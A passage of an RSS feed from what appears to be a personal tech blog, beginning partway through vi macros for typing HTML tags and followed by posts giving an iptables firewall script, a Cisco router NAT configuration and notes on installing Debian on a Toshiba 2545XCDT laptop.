&amp;lt;CREDIT&amp;gt;&amp;lt;/CREDIT&amp;gt;bhhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;DEFINITION LIST COMPONENTS&#x9;HTML 2.0&#xA;&amp;#34;&#x9;&#x9;DL&#x9;Definition List&#xA;&amp;#34;&#x9;&#x9;DT&#x9;Definition Term&#xA;&amp;#34;&#x9;&#x9;DD&#x9;Definition Body&#xA;map! ;dl &amp;lt;DL&amp;gt;&#xA;&amp;lt;/DL&amp;gt;O&#x9;&#xA;map! ;dt &amp;lt;DT&amp;gt;&#xA;map! ;dd &amp;lt;DD&amp;gt;&#xA;&amp;#34;&#xA;&amp;#34;&#x9;DEL&#x9;Deleted Text&#x9;&#x9;HTML 3.0&#xA;&amp;#34;map! ;de &amp;lt;DEL&amp;gt;&amp;lt;/DEL&amp;gt;bhhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;DFN&#x9;Defining Instance&#x9;HTML 3.0&#xA;&amp;#34;map! ;df &amp;lt;DFN&amp;gt;&amp;lt;/DFN&amp;gt;bhhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;DIR&#x9;Directory List&#x9;&#x9;HTML 3.0&#xA;&amp;#34;map! ;di &amp;lt;DIR&amp;gt;&#xA;&amp;lt;/DIR&amp;gt;O&#x9;&#xA;&amp;#34;&#xA;&amp;#34;&#x9;DIV&#x9;Document Division&#x9;HTML 3.0&#xA;&amp;#34;map! ;dv &amp;lt;DIV&amp;gt;&amp;lt;/DIV&amp;gt;bhhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;EM&#x9;Emphasize&#x9;&#x9;HTML 2.0&#xA;map! ;em &amp;lt;EM&amp;gt;&amp;lt;/EM&amp;gt;bhhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;FIG&#x9;Figure&#x9;&#x9;&#x9;HTML 3.0&#xA;&amp;#34;map! ;fi &amp;lt;FIG SRC=&amp;#34;&amp;#34;&amp;gt;&amp;lt;/FIG&amp;gt;?&amp;#34;&#xA;i&#xA;&amp;#34;&#xA;&amp;#34;&#x9;FN&#x9;Footnote&#x9;&#x9;HTML 3.0&#xA;&amp;#34;map! ;fn &amp;lt;FN&amp;gt;&amp;lt;/FN&amp;gt;bhhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;FONT&#x9;&#x9;&#x9;&#x9;NETSCAPE&#xA;&amp;#34;map! ;fo &amp;lt;FONT SIZE=&amp;gt;&amp;lt;/FONT&amp;gt;bhhhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;HEADERS, LEVELS 1-6&#x9;&#x9;HTML 2.0&#xA;map! ;h1 &amp;lt;H1&amp;gt;&amp;lt;/H1&amp;gt;bhhi&#xA;map! ;h2 &amp;lt;H2&amp;gt;&amp;lt;/H2&amp;gt;bhhi&#xA;map! ;h3 &amp;lt;H3 ALIGN=CENTER&amp;gt;&amp;lt;/H3&amp;gt;bhhi&#xA;map! ;h4 &amp;lt;H4 ALIGN=CENTER&amp;gt;&amp;lt;/H4&amp;gt;bhhi&#xA;map! ;h5 &amp;lt;H5 ALIGN=CENTER&amp;gt;&amp;lt;/H5&amp;gt;bhhi&#xA;map! ;h6 &amp;lt;H6 ALIGN=CENTER&amp;gt;&amp;lt;/H6&amp;gt;bhhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;HEAD&#x9;&#x9;&#x9;&#x9;HTML 2.0&#xA;map! ;he &amp;lt;HEAD&amp;gt;&#xA;&amp;lt;/HEAD&amp;gt;O&#xA;&amp;#34;&#xA;&amp;#34;&#x9;HR&#x9;Horizontal Rule&#x9;&#x9;HTML 2.0 W/NETSCAPISM&#xA;map! ;hr &amp;lt;HR WIDTH=100%&amp;gt;&#xA;&amp;#34;&#xA;&amp;#34;&#x9;HTML&#x9;&#x9;&#x9;&#x9;HTML 3.0&#xA;map! ;ht &amp;lt;HTML&amp;gt;&#xA;&amp;lt;/HTML&amp;gt;O&#xA;&amp;#34;&#xA;&amp;#34;&#x9;I&#x9;Italicized Text&#x9;&#x9;HTML 2.0&#xA;&amp;#34;map! ;it &amp;lt;I&amp;gt;&amp;lt;/I&amp;gt;hhhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;IMG&#x9;Image&#x9;&#x9;&#x9;HTML 2.0&#xA;map! ;im &amp;lt;IMG SRC=&amp;#34;&amp;#34; ALT=&amp;#34;&amp;#34;&amp;gt;Bhhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;INS&#x9;Inserted Text&#x9;&#x9;HTML 3.0&#xA;&amp;#34;map! ;in &amp;lt;INS&amp;gt;&amp;lt;/INS&amp;gt;bhhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;ISINDEX&#x9;Identifies Index&#x9;HTML 2.0&#xA;map! ;ii &amp;lt;ISINDEX&amp;gt;&#xA;&amp;#34;&#xA;&amp;#34;&#x9;KBD&#x9;Keyboard Text&#x9;&#x9;HTML 2.0&#xA;map! ;kb &amp;lt;KBD&amp;gt;&amp;lt;/KBD&amp;gt;bhhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;LANG&#x9;Language Context&#x9;HTML 3.0&#xA;&amp;#34;map! ;la &amp;lt;LANG LANG=&amp;#34;&amp;#34;&amp;gt;&amp;lt;/LANG&amp;gt;?&amp;#34;&#xA;i&#xA;&amp;#34;&#xA;&amp;#34;&#x9;LI&#x9;List Item&#x9;&#x9;HTML 2.0&#xA;map! ;li &amp;lt;LI&amp;gt;&#xA;&amp;#34;&#xA;&amp;#34;&#x9;LINK&#x9;&#x9;&#x9;&#x9;HTML 2.0&#x9;HEADER&#xA;map! ;lk &amp;lt;LINK HREF=&amp;#34;&amp;#34;&amp;gt;hi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;LH&#x9;List Header&#x9;&#x9;HTML 2.0&#xA;map! ;lh &amp;lt;LH&amp;gt;&amp;lt;/LH&amp;gt;bhhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;MENU&#x9;&#x9;&#x9;&#x9;HTML 2.0&#xA;map! ;mu &amp;lt;MENU&amp;gt;&#xA;&amp;lt;/MENU&amp;gt;O&#x9;&#xA;&amp;#34;&#xA;&amp;#34;&#x9;META&#x9;Meta Information&#x9;HTML 2.0&#x9;HEADER&#xA;map! ;me &amp;lt;META NAME=&amp;#34;&amp;#34; CONTENT=&amp;#34;&amp;#34;&amp;gt;Bhhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;NOBR&#x9;No Break&#x9;&#x9;NETSCAPE&#xA;&amp;#34;map! ;nb &amp;lt;NOBR&amp;gt;&amp;lt;/NOBR&amp;gt;bhhi&#xA;&amp;#34;&#x9;NOTE&#x9;&#x9;&#x9;&#x9;HTML 3.0&#xA;&amp;#34;map! ;no &amp;lt;NOTE&amp;gt;&amp;lt;/NOTE&amp;gt;bhhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;OL&#x9;Ordered List&#x9;&#x9;HTML 3.0&#xA;map! ;ol &amp;lt;OL&amp;gt;&#xA;&amp;lt;/OL&amp;gt;O&#x9;&#xA;&amp;#34;&#xA;&amp;#34;&#x9;OVERLAY&#x9;Overlay Image&#x9;&#x9;HTML 3.0&#xA;&amp;#34;map! ;ov &amp;lt;OVERLAY SRC=&amp;#34;&amp;#34;&amp;gt;hi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;P&#x9;Paragraph&#x9;&#x9;HTML 3.0&#xA;map! ;pp &amp;lt;P&amp;gt;&amp;lt;/P&amp;gt;hhhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;PRE&#x9;Preformatted Text&#x9;HTML 2.0&#xA;map! ;pr &amp;lt;PRE&amp;gt;&#xA;&amp;lt;/PRE&amp;gt;O&#xA;&amp;#34;&#xA;&amp;#34;&#x9;Q&#x9;Quote&#x9;&#x9;&#x9;HTML 3.0&#xA;&amp;#34;map! ;qu &amp;lt;Q&amp;gt;&amp;lt;/Q&amp;gt;hhhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;RANGE&#x9;&#x9;&#x9;&#x9;HTML 3.0&#xA;&amp;#34;map! ;ra &amp;lt;RANGE FROM= UNTIL=&amp;gt;Bhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;S&#x9;Strikethrough&#x9;&#x9;HTML 3.0&#xA;&amp;#34;map! ;sk &amp;lt;S&amp;gt;&amp;lt;/S&amp;gt;hhhi&#xA;&amp;#34;&#x9;SAMP&#x9;Sample Text&#x9;&#x9;HTML 2.0&#xA;map! ;sa &amp;lt;SAMP&amp;gt;&amp;lt;/SAMP&amp;gt;bhhi&#xA;&amp;#34;&#x9;SMALL&#x9;Small Text&#x9;&#x9;HTML 3.0&#xA;&amp;#34;map! ;sm &amp;lt;SMALL&amp;gt;&amp;lt;/SMALL&amp;gt;bhhi&#xA;&amp;#34;&#x9;SPOT&#x9;&#x9;&#x9;&#x9;HTML 3.0&#xA;&amp;#34;map! ;sp &amp;lt;SPOT ID=&amp;gt;i&#xA;&amp;#34;&#xA;&amp;#34;&#x9;STRONG&#x9;&#x9;&#x9;&#x9;HTML 2.0&#xA;map! ;st &amp;lt;STRONG&amp;gt;&amp;lt;/STRONG&amp;gt;bhhi&#xA;&amp;#34;&#x9;STYLE&#x9;&#x9;&#x9;&#x9;HTML 3.0&#xA;&amp;#34;map! ;sn &amp;lt;STYLE NOTATION=&amp;#34;&amp;#34;&amp;gt;&#xA;&amp;lt;/STYLE&amp;gt;k/&amp;#34;&#xA;a&#xA;&amp;#34;&#x9;SUB&#x9;Subscript&#x9;&#x9;HTML 3.0&#xA;&amp;#34;map! ;sb &amp;lt;SUB&amp;gt;&amp;lt;/SUB&amp;gt;bhhi&#xA;&amp;#34;&#x9;SUP&#x9;Superscript&#x9;&#x9;HTML 3.0&#xA;&amp;#34;map! ;sp &amp;lt;SUP&amp;gt;&amp;lt;/SUP&amp;gt;bhhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;TAB&#x9;&#x9;&#x9;&#x9;HTML 3.0&#xA;&amp;#34;map! ;ta &amp;lt;TAB&amp;gt;&#xA;&amp;#34;&#x9;TITLE&#x9;&#x9;&#x9;&#x9;HTML 2.0&#x9;HEADER&#xA;map! ;ti &amp;lt;TITLE&amp;gt;&amp;lt;/TITLE&amp;gt;bhhi&#xA;&amp;#34;&#x9;TT&#x9;Teletype Text&#x9;&#x9;HTML 2.0&#xA;&amp;#34;map! ;tt &amp;lt;TT&amp;gt;&amp;lt;/TT&amp;gt;bhhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;U&#x9;Underlined Text&#x9;&#x9;HTML 2.0&#xA;&amp;#34;map! ;uu &amp;lt;U&amp;gt;&amp;lt;/U&amp;gt;hhhi&#xA;&amp;#34;&#x9;UL&#x9;Unordered List&#x9;&#x9;HTML 2.0&#xA;map! ;ul &amp;lt;UL&amp;gt;&#xA;&amp;lt;/UL&amp;gt;O&#x9;&#xA;&amp;#34;&#xA;&amp;#34;&#x9;V&#x9;Variable&#x9;&#x9;HTML 3.0&#xA;&amp;#34;map! ;vv &amp;lt;V&amp;gt;&amp;lt;/V&amp;gt;hhhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;WBR&#x9;Word Break&#x9;&#x9;NETSCAPE&#xA;&amp;#34;map! ;wb &amp;lt;WBR&amp;gt;&#xA;&amp;#34; &#x9;Special Characters&#xA;map! ;&amp;amp; &amp;amp;amp;&#xA;map! ;K &amp;amp;copy;&#xA;map! ;&amp;#34; &amp;amp;quot;&#xA;map! ;&amp;lt; &amp;amp;lt;&#xA;map! ;&amp;gt; &amp;amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Linux IPtables rules</title>
      <link>https://jasonmurray.org/posts/2003/s01tables/</link>
      <pubDate>Wed, 23 Jul 2003 19:35:43 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2003/s01tables/</guid>
      <description>&lt;p&gt;Used in /etc/network/if-up.d/S01tables&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;#!/bin/bash&#xA;&#xA;modprobe ip_tables&#xA;modprobe iptable_filter&#xA;modprobe iptable_mangle&#xA;modprobe iptable_nat&#xA;modprobe ipt_state&#xA;modprobe ipt_REJECT&#xA;modprobe ipt_LOG&#xA;&#xA;iptables --flush&#xA;&#xA;iptables -P INPUT DROP&#xA;&#xA;iptables -A INPUT -i lo -j ACCEPT&#xA;iptables -A INPUT -p tcp -m tcp --tcp-flags ACK ACK -j ACCEPT&#xA;iptables -A INPUT -m state --state ESTABLISHED -j ACCEPT&#xA;iptables -A INPUT -m state --state RELATED -j ACCEPT&#xA;iptables -A INPUT -p icmp -m icmp --icmp-type echo-reply -j ACCEPT&#xA;iptables -A INPUT -p icmp -m icmp --icmp-type destination-unreachable -j ACCEPT&#xA;iptables -A INPUT -p icmp -m icmp --icmp-type source-quench -j ACCEPT&#xA;iptables -A INPUT -p icmp -m icmp --icmp-type time-exceeded -j ACCEPT&#xA;iptables -A INPUT -p icmp -m icmp --icmp-type parameter-problem -j ACCEPT&#xA;iptables -A INPUT -p tcp -m tcp --source 192.168.99.0/24 --dport 20 -j ACCEPT&#xA;iptables -A INPUT -p tcp -m tcp --source 192.168.99.0/24 --dport 21 -j ACCEPT&#xA;iptables -A INPUT -p tcp -m tcp --source 192.168.99.0/24 --dport 22 -j ACCEPT&#xA;iptables -A INPUT -p tcp -m tcp --source 192.168.99.0/24 --dport 80 -j ACCEPT&#xA;iptables -A INPUT -p udp -m udp --source 192.168.99.0/24 --dport 69 -j ACCEPT&#xA;iptables -A INPUT -p tcp -m tcp --source 192.168.99.0/24 --dport 179 -j ACCEPT&#xA;iptables -A INPUT -j LOG&#xA;iptables -A INPUT -j REJECT&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>NAT configuration on Cisco router</title>
      <link>https://jasonmurray.org/posts/2003/cisconat/</link>
      <pubDate>Sat, 25 Jan 2003 19:33:43 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2003/cisconat/</guid>
      <description>&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;!&#xA;! Last configuration change at 14:43:17 CST Sat Jan 25 2003&#xA;!&#xA;version 11.3&#xA;service timestamps debug uptime&#xA;service timestamps log uptime&#xA;service password-encryption&#xA;!&#xA;ip host-routing&#xA;ip nat pool external-addr 66.88.33.189 66.88.33.189 netmask 255.255.255.248&#xA;ip nat inside source list 10 pool external-addr overload&#xA;no ip finger&#xA;ip name-server 65.106.1.196&#xA;clock timezone CST -6&#xA;!&#xA;!&#xA;process-max-time 200&#xA;!&#xA;interface Loopback0&#xA; no ip address&#xA;!&#xA;interface Ethernet0&#xA; description private interface&#xA; ip address 192.168.99.1 255.255.255.0&#xA; ip nat inside&#xA;!&#xA;interface Ethernet1&#xA; description public interface&#xA; ip address 66.88.33.190 255.255.255.248&#xA; ip nat outside&#xA;!&#xA;interface Serial0&#xA; no ip address&#xA; no ip mroute-cache&#xA; shutdown&#xA;!&#xA;ip default-gateway 66.88.33.185&#xA;ip classless&#xA;!&#xA;logging buffered 4096 debugging&#xA;access-list 1 deny   any log&#xA;access-list 2 permit any&#xA;access-list 10 permit 192.168.99.0 0.0.0.255&#xA;access-list 11 permit 192.168.99.0 0.0.0.255&#xA;access-list 100 deny   udp any any eq 1434 log&#xA;access-list 100 permit ip any any&#xA;!&#xA;line con 0&#xA;line vty 0 4&#xA; access-class 11 in&#xA; login&#xA;!&#xA;ntp clock-period 17041922&#xA;ntp server 206.173.119.88&#xA;end&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>How to Install Debian GNU/Linux on the Toshiba 2545XCDT</title>
      <link>https://jasonmurray.org/posts/2000/toshiba2545xcdt/</link>
      <pubDate>Tue, 13 Jun 2000 19:10:23 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2000/toshiba2545xcdt/</guid>
      <description>&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;How to Install Debian GNU/Linux on the Toshiba 2545XCDT&#xA;-------------------------------------------------------&#xA;&#xA;Author: Jason E. Murray&#xA;Date: 6/13/00&#xA;Notes: This document is quite dated, but left here for reference. 2002.8.30&#xA;&#xA;- Backup your current system (if it exists).&#xA;&#xA;- Build the disks&#xA;&#x9;- Get the boot/root/driver disks from ftp.debian.org&#xA;&#x9;- I prefer the unstable release (newest)&#xA;&#x9;- $ dd if=(disk) of=/dev/fd0&#xA;&#xA;- Inital Bootup&#xA;&#x9;- Boot from rescue disk&#xA;&#x9;- Insert root floppy when prompted&#xA;&#x9;&#xA;- Inital Configuration Menus&#xA;&#x9;- Configure Keyboard (US/Qwerty)&#xA;&#x9;- Partition Disk&#xA;&#x9;&#x9;/dev/hda1 = Win98 (2GB)&#xA;&#x9;&#x9;&#x9;-Bootable&#xA;&#x9;&#x9;/dev/hda2 = Linux Swap (131MB)&#xA;&#x9;&#x9;/dev/hda3 = Linux Ext2 (2.1GB)&#xA;&#x9;- Initalize Swap&#xA;&#x9;- Initalize Linux Partition&#xA;&#x9;&#x9;- Check for bad blocks&#xA;&#x9;&#x9;- Block Size 4096; Frag Size=4096&#xA;&#x9;&#x9;  265472 Inodes; 530145 blocks&#xA;&#x9;&#x9;  5.0% reserved; &#xA;&#x9;&#x9;  Backup Superblocks: 32768, 98304, 163840, 229376, 294912&#xA;&#x9;- Mount / filesystem&#xA;&#x9;- Install OS Kernel and modules&#xA;&#x9;&#x9;- Use Resuce disk to get kernel&#xA;&#x9;&#x9;- Use Drivers disk 1-3 for modules&#xA;&#x9;- Configure device driver modules&#xA;&#x9;&#x9;- Nothing to configure in here&#xA;&#x9;- Configure PCMCIA&#xA;&#x9;&#x9;- Select Intel i82365&#xA;&#x9;- Configure the hostname&#xA;&#x9;&#x9;- Set to LAPTUX&#xA;&#x9;- Configure the Network&#xA;&#x9;&#x9;- eth0 is pcmcia&#xA;&#x9;&#x9;- ip = 208.176.45.82&#xA;&#x9;&#x9;- netmask = 255.255.255.240&#xA;&#x9;&#x9;- gateway = 208.176.45.81&#xA;&#x9;- Install Base System&#xA;&#x9;&#x9;- Install via network (http)&#xA;&#x9;&#x9;- Retreive base2_2.tgz from http.us.debian.org&#xA;&#x9;&#x9;- path: debian/dists/potato/main/disks-i386/current&#xA;&#x9;&#x9;- Potato release&#xA;&#x9;- Configure the base system&#xA;&#x9;&#x9;- Configure TimeZone&#xA;&#x9;&#x9;&#x9;- US -&amp;gt; Central.&#xA;&#x9;&#x9;- Hardware clock set to local time&#xA;&#x9;- Make linux boot directly from hard disk&#xA;&#x9;&#x9;- Install LILO in MBR (/dev/hda)&#xA;&#x9;- Make boot floppy&#xA;&#x9;&#x9;- I would do this!&#xA;&#x9;- Reboot System&#xA;&#xA;Configuring the New System&#xA;&#xA;&#x9;- Install MD5 Passwords&#xA;&#x9;- Install Shadow Passwords&#xA;&#x9;- Set root password&#xA;&#x9;- Setup a non-root account (jemurray)&#xA;&#x9;- Dont use PPP to configure the new system&#xA;&#x9;&#x9;- Use Network&#xA;&#x9;- APT Configuration&#xA;&#x9;&#x9;- Use http for apt GET method&#xA;&#x9;&#x9;- Allow non-US, non-free.&#xA;&#x9;&#x9;- Contry: US&#xA;&#x9;&#x9;- Use: http.us.debian.org&#xA;&#x9;&#x9;- No Proxy&#xA;&#x9;&#x9;- No more APT sources&#xA;&#x9;- Packages to Install (System Configuration)&#xA;&#x9;&#x9;- Choose ADVANCED&#xA;&#x9;&#x9;- ...Learn how to use dselect...&#xA;&#x9;&#x9;- To begin with I just let is select the standard&#xA;&#x9;&#x9;  utilities, then I will add as I need them.&#xA;&#xA;This is all there is to the &amp;#34;generic installation&amp;#34;.  &#xA;&#xA;Debian is by far the best GNU/Linux distribution that I have used so far.  The&#xA;package management utility (dselect) makes this the easiest system to keep&#xA;updated.  HOWEVER, I would suggest that if you do not know how to dowload,&#xA;configure, compile software yourself, that you first learn it before you&#xA;starting relying on dselect to do it for you...&#xA;&#xA;&#xA;&#xA;Additional Information&#xA;----------------------&#xA;&#xA;- Upgraded kernel to 2.2.16&#xA;&#x9;- Required the kernel source&#xA;&#x9;- Requires the pcmcia modules&#xA;&#x9;&#x9;- These are not built into the kernel you need the &#xA;&#x9;&#x9;  pcmcia-cs package in order to get pcmcia cards working&#xA;&#x9;- enabled APM support - debian has this turned off by default.&#xA;&#xA;- Audio Configuration&#xA;&#x9;- I copied the /etc/modules.conf from the Documentation for the OPL3-SA2 that cames with the kernel&#xA;&#xA;&#x9;&#x9;  alias char-major-14 opl3sa2&#xA;&#x9;&#x9;  pre-install opl3sa2 modprobe &amp;#34;-k&amp;#34; &amp;#34;ad1848&amp;#34;&#xA;&#x9;&#x9;  post-install opl3sa2 modprobe &amp;#34;-k&amp;#34; &amp;#34;opl3&amp;#34;&#xA;&#x9;&#x9;  options opl3sa2 io=0x220 mss_io=0x530 mpu_io=0x330 irq=5 dma=1 dma2=0&#xA;&#xA;&#x9;- I also needed to change the audio device (/dev) permissions to 666&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
  </channel>
</rss>
